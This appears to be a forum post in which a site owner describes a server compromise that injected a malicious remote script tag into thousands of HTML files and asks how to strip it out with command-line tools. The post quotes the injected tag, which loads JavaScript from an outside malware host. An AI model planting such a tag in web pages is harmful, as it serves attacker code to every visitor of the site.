My server was infected this week, and the attacker ran a script that injected a script in several files, and now my domain is blacklisted on Google.
The code injected was this:
<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>
Careful! It's a malware!
So, I ran this command (It's a linux server):
grep -r "sexfromindia.com" /home/mydomain/public_html/
And this command returned 9941 files :/
I would like to run a script that will search for <script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js type="text/javascript"></script>
and replace it for " " (double spaces). Since all the infected files are in .html, the double spaces will not harm anything.
Now, not all the files are infected, only 9941 (about 50%).
How should I clean this mess? Should I use awk, sed, grep, perl? Can anyone give me examples?
Thanks.